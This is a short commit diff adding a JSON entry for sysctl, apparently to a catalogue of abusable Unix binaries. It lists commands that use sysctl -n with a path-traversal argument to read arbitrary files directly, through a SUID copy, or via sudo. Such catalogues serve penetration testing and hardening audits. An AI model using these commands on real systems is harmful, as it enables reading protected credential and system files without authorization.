add data source for sysctl

data/sysctl.json

@@ -0,0 +1,20 @@
+{
+  "description": "The '-p' argument can also be used in place of '-n'. In both cases though the output might get corrupted, so this might not be suitable to read binary files.",
+  "functions": {
+    "file-read": [
+      {
+        "code": "/usr/sbin/sysctl -n \"/../../[file]\"\n"
+      }
+    ],
+    "suid": [
+      {
+        "code": "./sysctl -n \"/../../[file]\"\n"
+      }
+    ],
+    "sudo": [
+      {
+        "code": "sudo sysctl -n \"/../../[file]\"\n"
+      }
+    ]
+  }
+}